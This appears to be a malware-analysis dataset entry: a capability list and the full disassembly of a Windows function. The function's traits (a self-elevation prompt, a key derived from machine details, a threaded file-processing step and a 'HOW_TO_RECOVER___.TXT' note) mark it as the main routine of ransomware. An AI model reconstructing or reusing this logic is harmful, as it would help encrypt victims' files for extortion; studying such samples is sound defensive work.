Function at 0x140007ee8
Capabilities:
Accept command line arguments
Check if file exists
Create new key via cryptacquirecontext
Create process on windows
Create thread
Encode data using xor
Generate random numbers using a mersenne twister
Generate random numbers via winapi
Get common file path
Get disk information
Get hostname
Hash data using sha256
Terminate thread

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x3b8]
sub rsp, 0x490
mov rax, qword [0x140059010]
xor rax, rsp
mov qword [rbp + 0x380], rax
xor ebx, ebx
mov rsi, rcx
mov qword [rsp + 0x70], rbx
mov r12b, bl
mov qword [rsp + 0x68], rbx
mov byte [rsp + 0x40], bl
mov dword [rsp + 0x78], ebx
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov rcx, rax
lea rdx, [rsp + 0x78]
call qword [sym.imp.SHELL32.dll_CommandLineToArgvW]
lea edi, [rbx + 1]
mov r15, rax
test rax, rax
je 0x1400082c9
mov r13d, edi
cmp dword [rsp + 0x78], edi
jle 0x1400082c0
lea r14d, [rbx + 2]
lea rdi, [rax + 8]
mov rcx, qword [rdi]
lea rdx, [0x140051cf4]
call qword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
jne 0x140007f93
cmp dword [rsp + 0x78], r14d
jl 0x140007f93
lea rcx, [rsp + 0x70]
jmp 0x140007fed
mov rcx, qword [rdi]
lea rdx, [0x140051d00]
call qword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
jne 0x140007fcd
cmp dword [rsp + 0x78], r14d
jl 0x140007fcd
mov rdx, qword [rdi + 8]
lea r8, [0x140051cfc]
lea rcx, [rsp + 0x68]
call fcn.140021b04
mov byte [rsp + 0x40], 1
jmp 0x14000807a
mov rcx, qword [rdi]
lea rdx, [0x140051d08]
call qword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
jne 0x140007fff
cmp dword [rsp + 0x78], r14d
jl 0x140007fff
lea rcx, [rsp + 0x68]
mov rdx, qword [rdi + 8]
lea r8, [0x140051cfc]
call fcn.140021b04
jmp 0x14000807a
mov rcx, qword [rdi]
lea rdx, str._path
call qword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
jne 0x140008056
cmp dword [rsp + 0x78], r14d
jl 0x140008056
mov rax, qword [rsi + 8]
lea r8, [rdi + 8]
cmp rax, qword [rsi + 0x10]
je 0x140008049
mov rdx, qword [r8]
mov rcx, rax
mov qword [rax], rbx
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 7
call fcn.140009e98
add qword [rsi + 8], 0x20
jmp 0x14000807a
mov rdx, rax
mov rcx, rsi
call fcn.14000a784
jmp 0x14000807a
mov rcx, qword [rdi]
lea rdx, str._queue
call qword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
jne 0x14000807a
cmp dword [rsp + 0x78], r14d
jl 0x14000807a
mov rcx, qword [rdi + 8]
call fcn.14002239c
mov rcx, qword [rdi]
call qword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x140008702
xor r12d, r12d
mov qword [rbp + 0x290], r12
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r8, [rbp + 0x290]
lea edx, [r12 + 8]
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x1400080e2
lea ecx, [r12 + 4]
mov dword [rbp - 0x60], ecx
lea edx, [rcx + 0x10]
mov r9d, ecx
lea rax, [rbp - 0x60]
mov rcx, qword [rbp + 0x290]
lea r8, [rbp - 0x54]
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
cmovne ebx, dword [rbp - 0x54]
mov rcx, qword [rbp + 0x290]
test rcx, rcx
je 0x1400080f4
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test ebx, ebx
jne 0x140008266
xor edx, edx
lea rcx, [rbp + 0x40]
mov r8d, pe_nt_image_headers64
call fcn.14001ca30
lea rcx, [rbp + 0x40]
call fcn.1400097b8
lea r12d, [rbx + 1]
cmp dword [rsp + 0x78], r12d
jle 0x140008156
lea rbx, [r15 + 8]
lea rcx, [rbp + 0x50]
call fcn.14000aac8
mov rdx, qword [rbx]
mov rcx, rax
call fcn.14000ad34
mov rcx, rax
lea rdx, [0x140051d84]
call fcn.14000ad34
inc r12d
lea rbx, [rbx + 8]
cmp r12d, dword [rsp + 0x78]
jl 0x140008125
mov eax, dword [rbp + 0xc8]
xor ebx, ebx
and al, 0x22
mov qword [rbp - 0x80], rbx
mov qword [rbp - 0x70], rbx
mov qword [rbp - 0x68], 7
cmp al, 2
je 0x14000819e
mov rax, qword [rbp + 0x98]
mov rdx, qword [rax]
test rdx, rdx
je 0x14000819e
cmp rdx, qword [rbp + 0xc0]
mov rax, qword [rbp + 0x78]
cmovb rdx, qword [rbp + 0xc0]
mov r9, qword [rax]
sub rdx, r9
jmp 0x1400081d0
test byte [rbp + 0xc8], 4
jne 0x140008208
mov rax, qword [rbp + 0x90]
mov rcx, qword [rax]
test rcx, rcx
je 0x140008208
mov rax, qword [rbp + 0x70]
mov r9, qword [rax]
mov rax, qword [rbp + 0xa8]
movsxd rdx, dword [rax]
add rdx, rdx
sub rdx, r9
add rdx, rcx
mov rax, r9
sar rdx, 1
test rax, rax
je 0x140008208
lea rcx, [rbp - 0x80]
cmp rdx, 7
ja 0x140008203
lea rbx, [rdx + rdx]
mov qword [rbp - 0x70], rdx
mov r8, rbx
mov rdx, r9
call fcn.14001d950
xor eax, eax
mov word [rbp + rbx - 0x80], ax
xor ebx, ebx
jmp 0x140008208
call fcn.14000af18
cmp qword [rbp - 0x68], 8
lea r9, [rbp - 0x80]
mov r8, qword [r15]
lea rdx, str.runas
cmovae r9, qword [rbp - 0x80]
xor ecx, ecx
mov dword [rsp + 0x28], 5
mov qword [rsp + 0x20], rbx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
lea rcx, [rbp - 0x80]
call fcn.140009e34
lea rcx, [rbp + 0xd8]
call fcn.1400096d4
lea rax, vtable.std::ios_base.0
lea rcx, [rbp + 0xd8]
mov qword [rbp + 0xd8], rax
call fcn.14001bed0
jmp 0x140008268
xor ebx, ebx
mov rax, qword [rsi + 8]
cmp rax, qword [rsi + 0x10]
je 0x140008293
mov rdx, qword [rdi]
mov rcx, rax
mov qword [rax], rbx
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 7
call fcn.140009e98
add qword [rsi + 8], 0x20
jmp 0x1400082a1
mov r8, rdi
mov rdx, rax
mov rcx, rsi
call fcn.14000a784
inc r13d
inc r14d
add rdi, 8
cmp r13d, dword [rsp + 0x78]
jl 0x140007f71
mov r12b, byte [rsp + 0x40]
mov edi, 1
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_LocalFree]
lea rcx, [rbp - 0x40]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
imul ebx, eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov ecx, eax
imul ecx, ebx
rdtsc
shl rdx, 0x20
xor r14d, r14d
or rax, rdx
mov dword [rsp + 0x20], r14d
imul eax, ecx
mov r9d, edi
xor r8d, r8d
lea rcx, [rbp - 0x50]
xor edx, edx
imul eax, dword [rbp - 0x40]
mov dword [rbp - 0x5c], eax
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
jne 0x14000834b
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x80090016
jne 0x14000837a
mov r9d, edi
mov dword [rsp + 0x20], 8
xor r8d, r8d
lea rcx, [rbp - 0x50]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
je 0x14000837a
mov rcx, qword [rbp - 0x50]
lea r8, [rbp - 0x5c]
mov edx, 4
call qword [sym.imp.ADVAPI32.dll_CryptGenRandom]
test eax, eax
je 0x14000836e
lea rcx, str.Successfully_generated_seed_with_CryptGenRandom._r_n
call fcn.140005468
mov rcx, qword [rbp - 0x50]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov eax, dword [rbp - 0x5c]
lea rbx, [0x14005c300]
mov dword [0x14005c300], eax
mov edx, edi
lea eax, [rdx - 1]
movsxd rcx, eax
mov eax, dword [rbx + rcx*4]
shr eax, 0x1e
xor eax, dword [rbx + rcx*4]
imul ecx, eax, 0x6c078965
movsxd rax, edx
add ecx, edx
add edx, edi
mov dword [rbx + rax*4], ecx
cmp edx, 0x270
jl 0x14000838c
mov ecx, edi
mov dword [0x14005ccc0], edx
call qword [sym.imp.KERNEL32.dll_SetErrorMode]
xor eax, eax
mov byte [rsp + 0x48], 9
xorps xmm0, xmm0
mov qword [rsp + 0x59], rax
lea rdx, [rbp - 0x58]
mov dword [rsp + 0x61], eax
lea rcx, [rbp + 0x2b0]
mov word [rsp + 0x65], ax
movups xmmword [rsp + 0x49], xmm0
mov byte [rsp + 0x67], al
movups xmmword [rbp + 0x2b0], xmm0
mov dword [rbp - 0x80], 0x7afa20cd
mov dword [rbp - 0x7c], 0xaa84f355
mov dword [rbp - 0x78], 0x45c127ff
mov dword [rbp - 0x74], 0x63bd3666
mov dword [rbp - 0x70], 0x219e3274
mov dword [rbp - 0x6c], 0x8166807b
mov dword [rbp - 0x68], 0x45204f1a
mov dword [rbp - 0x64], 0xffc1b891
mov dword [rbp - 0x58], 0x10
call qword [sym.imp.KERNEL32.dll_GetComputerNameA]
mov ebx, 0x40
mov qword [rbp - 0x48], r14
mov r8d, ebx
lea rcx, [rbp + 0x340]
xor edx, edx
call fcn.14001ca30
mov edx, ebx
lea rcx, [rbp + 0x340]
call qword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov qword [rsp + 0x30], r14
lea rcx, [rbp + 0x340]
mov dword [rsp + 0x28], 0x80
xor r9d, r9d
mov r8d, edi
mov dword [rsp + 0x20], 3
mov edx, 0x80000000
call qword [sym.imp.KERNEL32.dll_CreateFileA]
or rdi, 0xffffffffffffffff
mov rbx, rax
cmp rax, rdi
je 0x1400084b7
xor r9d, r9d
lea rdx, [rbp - 0x48]
xor r8d, r8d
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileTime]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor edx, edx
lea rcx, [rbp + 0x40]
mov r8d, 0x208
call fcn.14001ca30
mov edx, 0x104
lea rcx, [rbp + 0x40]
call qword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
test eax, eax
je 0x140008518
mov dword [rsp + 0x38], r14d
lea r9, [rbp - 0x60]
mov qword [rsp + 0x30], r14
lea rcx, [rbp + 0x40]
mov qword [rsp + 0x28], r14
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], r14
mov word [rbp + 0x46], r14w
mov dword [rbp - 0x60], r14d
call qword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
test eax, eax
je 0x140008518
mov r8d, dword [rbp - 0x60]
test r8d, r8d
jne 0x14000851e
mov r8d, 0xdead
movsd xmm1, qword [0x140059c30]
xor eax, eax
xor ecx, ecx
mov dword [rbp + 0x2c0], r8d
cpuid
xorps xmm0, xmm0
movsd qword [rbp + 0x2d4], xmm1
movups xmmword [rbp + 0x290], xmm0
mov dword [rbp + 0x290], eax
mov eax, dword [0x140059c38]
mov dword [rbp + 0x298], ecx
lea rcx, [rbp + 0x2e8]
mov dword [rbp + 0x29c], edx
lea rdx, [rbp + 0x2b0]
mov dword [rbp + 0x2dc], eax
mov eax, dword [rbp - 0x44]
mov dword [rbp + 0x294], ebx
movups xmm0, xmmword [rbp + 0x290]
mov ebx, dword [rbp - 0x58]
mov dword [rbp + 0x2e0], eax
mov r8d, ebx
mov eax, dword [rbp - 0x48]
mov dword [rbp + 0x2e4], eax
movdqu xmmword [rbp + 0x2c4], xmm0
call fcn.14001d950
mov qword [rbp + 0x30], r14
lea r8d, [rbx + 0x28]
mov r14d, 0x5be0cd19
mov dword [rbp + 0x10], 0x6a09e667
mov r13d, 0x9b05688c
mov dword [rbp + 0x2c], r14d
mov r15d, 0x1f83d9ab
mov dword [rbp + 0x14], 0xbb67ae85
lea rdx, [rbp + 0x2c0]
mov dword [rbp + 0x18], 0x3c6ef372
lea rcx, [rbp - 0x30]
mov dword [rbp + 0x1c], 0xa54ff53a
mov dword [rbp + 0x20], 0x510e527f
mov dword [rbp + 0x24], r13d
mov dword [rbp + 0x28], r15d
call fcn.1400040c4
lea rdx, [rbp + 0x290]
lea rcx, [rbp - 0x30]
call fcn.14000419c
lea r8, [rbp - 0x80]
lea rdx, [rbp + 0x290]
lea rcx, [rbp + 0x2f8]
call fcn.1400036c8
lea r8, [rsp + 0x48]
lea rdx, [rbp + 0x2f8]
lea rcx, [0x14005bac8]
call fcn.1400036c8
lea r8, [0x140059c48]
lea rdx, [rbp + 0x2f8]
lea rcx, [rbp + 0x318]
call fcn.1400036c8
xor eax, eax
mov dword [rbp + 0x10], 0x6a09e667
lea rdx, [rbp + 0x318]
mov qword [rbp + 0x30], rax
lea rcx, [rbp - 0x30]
mov dword [rbp + 0x14], 0xbb67ae85
mov dword [rbp + 0x18], 0x3c6ef372
lea r8d, [rax + 0x20]
mov dword [rbp + 0x1c], 0xa54ff53a
mov dword [rbp + 0x20], 0x510e527f
mov dword [rbp + 0x24], r13d
mov dword [rbp + 0x28], r15d
mov dword [rbp + 0x2c], r14d
call fcn.1400040c4
lea rdx, [0x14005baa0]
lea rcx, [rbp - 0x30]
call fcn.14000419c
call fcn.14000c278
mov eax, dword [0x140059c3c]
lea r8, [rbp + 0x40]
xor r14d, r14d
mov dword [rsp + 0x28], eax
xor r9d, r9d
mov qword [rsp + 0x20], r14
xor edx, edx
lea rcx, str.C:
call qword [sym.imp.KERNEL32.dll_FindFirstFileExW]
mov rbx, rax
cmp rax, rdi
jne 0x140008787
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x140008787
mov dword [0x140059c3c], r14d
jmp 0x140008790
movdqa xmm0, xmmword [0x140053350]
lea rdx, str.File_not_found_OR_Invalid_argument
lea rcx, [rbp - 0x80]
mov qword [rbp - 0x80], rbx
movdqu xmmword [rbp - 0x70], xmm0
call fcn.140009e98
movsxd rax, r13d
or rdi, 0xffffffffffffffff
mov rdx, qword [r15 + rax*8]
inc rdi
cmp word [rdx + rdi*2], bx
jne 0x14000872e
mov r8, rdi
lea rcx, [rbp - 0x80]
call fcn.14000a16c
cmp qword [rbp - 0x68], 8
lea rcx, [rbp - 0x80]
cmovae rcx, qword [rbp - 0x80]
call fcn.140005468
cmp qword [rbp - 0x68], 8
lea rdx, [rbp - 0x80]
mov r9d, 0x10
lea r8, str.Error
cmovae rdx, qword [rbp - 0x80]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
lea rcx, [rbp - 0x80]
call fcn.140009e34
jmp 0x14000880b
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindClose]
lea r8, [0x14005be50]
call fcn.140005700
xor r9d, r9d
mov qword [rsp + 0x28], r14
lea r8, [0x140007e54]
mov dword [rsp + 0x20], r14d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
lea rcx, str.Starting_IOCP..._r_n
mov rbx, rax
call fcn.140005468
mov rdx, qword [rsp + 0x68]
mov r9, rsi
mov rcx, qword [rsp + 0x70]
mov r8b, r12b
call fcn.140006c9c
lea rcx, str.C:HOW_TO_RECOVER___.TXT
call fcn.140006284
xorps xmm0, xmm0
xor edx, edx
mov rcx, rbx
movups xmmword [0x14005baa0], xmm0
movups xmmword [0x14005bab0], xmm0
call qword [sym.imp.KERNEL32.dll_TerminateThread]
call fcn.1400078b4
mov rcx, rsi
call fcn.140009d70
mov rcx, qword [rbp + 0x380]
xor rcx, rsp
call fcn.14001a680
lea r11, [rsp + 0x490]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret